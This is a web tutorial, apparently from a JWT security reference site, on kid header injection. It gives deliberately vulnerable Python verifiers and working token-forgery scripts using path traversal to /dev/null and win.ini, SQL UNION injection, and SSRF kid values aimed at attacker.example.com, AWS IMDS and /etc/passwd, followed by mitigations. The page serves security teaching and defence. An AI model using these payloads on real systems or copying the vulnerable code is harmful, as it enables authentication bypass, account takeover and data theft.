KID Injection

The kid header selects which key to use. Unsanitised, it becomes a path traversal, SQL injection, or SSRF vector.

The key ID parameter

The kid (Key ID) header parameter is defined in RFC 7517 §4.5 as an optional hint identifying which key the issuer used to sign the token. It allows a server that manages multiple keys (e.g., for key rotation) to look up the correct verification key without trying each one.

The specification is deliberately vague about the format: "The structure of the kid value is unspecified." In practice, implementations resolve it against a filesystem path, a database row, an in-memory keystore, or even a URL - and when this resolution is performed with attacker-supplied input without sanitization, the consequences range from authentication bypass to server-side code execution.

Path traversal variant

When the server resolves kid as a filesystem path to load the signing key, path traversal sequences allow the attacker to substitute any readable file on the server as the "key." Two particularly useful targets are:

  • /dev/null (Linux) - reads as an empty string; sign with an empty HMAC secret
  • /proc/self/cmdline - process command line; predictable on known environments
  • Any world-readable static file with known content - sign with that file's bytes as the HMAC secret
Vulnerable server (Python)
import jwt, os

def verify_token(token: str):
    header = jwt.get_unverified_header(token)
    kid = header.get("kid", "default")

    # VULNERABLE: kid used directly as file path
    key_path = f"/var/keys/{kid}"
    with open(key_path, "rb") as f:
        key = f.read()

    return jwt.decode(token, key, algorithms=["HS256"])
Attack - /dev/null traversal
import base64, hmac, hashlib, json

def b64url(data):
    if isinstance(data, str): data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

# kid that traverses to /dev/null → empty key
header  = b64url(json.dumps({"alg": "HS256", "kid": "../../dev/null"}))
payload = b64url(json.dumps({"sub": "admin", "role": "admin", "exp": 9999999999}))

# Sign with empty string (contents of /dev/null)
sig = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"
print(token)  # Server will load /dev/null as key → verify passes

Windows path traversal

On Windows servers, the equivalent technique uses Windows path separators and targets files like NUL (equivalent to /dev/null) or C:\Windows\win.ini (known content, readable by all users):

Windows variants
# Windows null device
"kid": "..\..\..\Windows\System32\NUL"

# Known-content file (win.ini starts with a predictable header)
"kid": "..\..\..\Windows\win.ini"
# Sign token with the exact bytes of win.ini as HMAC secret

SQL injection variant

When the server queries a database for the key using the kid value, SQL injection allows the attacker to make the query return an arbitrary value - one they control. By injecting a UNION SELECT, they can make the key lookup return any string, then sign the forged token with that same string as the HMAC secret.

Vulnerable server - SQL query
import sqlite3, jwt

def verify_token(token: str):
    header = jwt.get_unverified_header(token)
    kid = header["kid"]

    # VULNERABLE: unsanitized interpolation into SQL
    conn = sqlite3.connect("keys.db")
    row = conn.execute(f"SELECT key_value FROM keys WHERE id = '{kid}'").fetchone()
    if not row:
        raise ValueError("Key not found")

    return jwt.decode(token, row[0].encode(), algorithms=["HS256"])
Attack - SQLi via kid
# Target: SELECT key_value FROM keys WHERE id = '<kid>'
# Inject: close the string, add UNION SELECT with known value

# Payload: kid = "x' UNION SELECT 'pwned'--"
# Resulting query: SELECT key_value FROM keys WHERE id = 'x'
#                  UNION SELECT 'pwned'--'
# Returns: 'pwned'

inject = "x' UNION SELECT 'pwned'--"
header  = b64url(json.dumps({"alg": "HS256", "kid": inject}))
payload = b64url(json.dumps({"sub": "admin", "exp": 9999999999}))

# Sign with "pwned" - the value we injected via SQL
sig = hmac.new(b"pwned", f"{header}.{payload}".encode(), hashlib.sha256).digest()
token = f"{header}.{payload}.{b64url(sig)}"
Stacked queries and out-of-band exfiltration
Depending on the database driver, stacked queries (; DROP TABLE keys--) or out-of-band channels (DNS lookups via load_file() in MySQL) may also be possible. The kid SQLi surface is often unmonitored since it is not a typical API endpoint.

SSRF via URL-type kid

Some implementations accept a full URL in the kid field and fetch the key from it - treating kid as a JKU-equivalent. This creates an SSRF vector:

URL-type kid → SSRF
# kid: "https://attacker.example.com/key.pem"
# Server fetches the URL and uses its content as the signing key
# Attacker hosts a key they control → full token forgery

# Also useful for SSRF to internal services:
# kid: "http://169.254.169.254/latest/meta-data/"  → AWS IMDS
# kid: "file:///etc/passwd"                        → file read (some implementations)

The empty string / null byte trick

When path traversal to /dev/null is not directly possible but the key lookup returns an empty value for a non-existent kid, some libraries will verify the signature against an empty key. Sign the forged token with an empty HMAC secret:

Empty key signature
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
# Works when: server loads key="" for missing kid, and library accepts empty secret
Bug bounty confirmed cases
  • Path traversal via kid reported on multiple HackerOne programs targeting API gateway products and identity middleware
  • SQLi via kid demonstrated in PortSwigger's lab and confirmed in real enterprise middleware deployments
  • SSRF via URL-type kid chained to internal metadata service access (IMDS) in cloud environments
  • Critical severity ratings common when combined with role=admin claim forgery

Mitigations

  • Validate kid against an allowlist of known key identifiers - reject anything not in the list
  • Never use kid as a direct database query parameter without parameterised queries
  • Never resolve kid as a filesystem path; use it only as a map key into a pre-loaded in-memory keystore
  • Reject kid values containing path separators, SQL metacharacters, or URL schemes
  • If URL-type kid is required, enforce a strict allowlist of trusted domains
Algorithm ConfusionJWK Injection
GitHub
JWT Arsenal_
Loading cryptographic engineOK
Importing exploit modulesOK
Verifying secure contextOK
All systems operational
100% CLIENT-SIDE · NO DATA LEAVES YOUR BROWSER